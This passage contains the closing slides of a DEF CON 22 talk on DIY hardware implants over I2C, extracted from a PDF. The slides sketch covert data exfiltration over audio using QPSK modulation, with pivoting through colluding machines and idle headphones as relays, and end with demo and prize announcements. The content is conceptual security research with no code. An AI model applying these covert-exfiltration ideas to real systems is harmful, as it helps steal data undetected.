Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
45 / 49
Malicious Exfiltration via Audio
Data of Audio Protocols are very well defined and resiliant.
QPSK10 (10 baud), QPSK05 (5 baud), quadrature phase shift keying
modulation to provide forward error correction.
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
46 / 49
Malicious Exfiltration via Audio
Possible to ”pivot” through colluding machines. Local network exploitation
creates a mesh of audio-capable relays such as idle headphones.
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
47 / 49
Demos, Learning, and Fabulous Prizes
Join us in the HHV for CryptoCape and WAGONBED demos!
Challenge: Solve the puzzle here: —————————–
(URL redaction removed during actual DEFCON 22 talk)
The first 5 correct submissions win a DIY hardware implant kit
(No hardware hacking experience required)
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
48 / 49
Demos, Learning, and Fabulous Prizes
Thank you!
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
49 / 49 | pdf |
Subsets and Splits
No saved queries yet
Save your SQL queries to embed, download, and access them later. Queries will appear here once saved.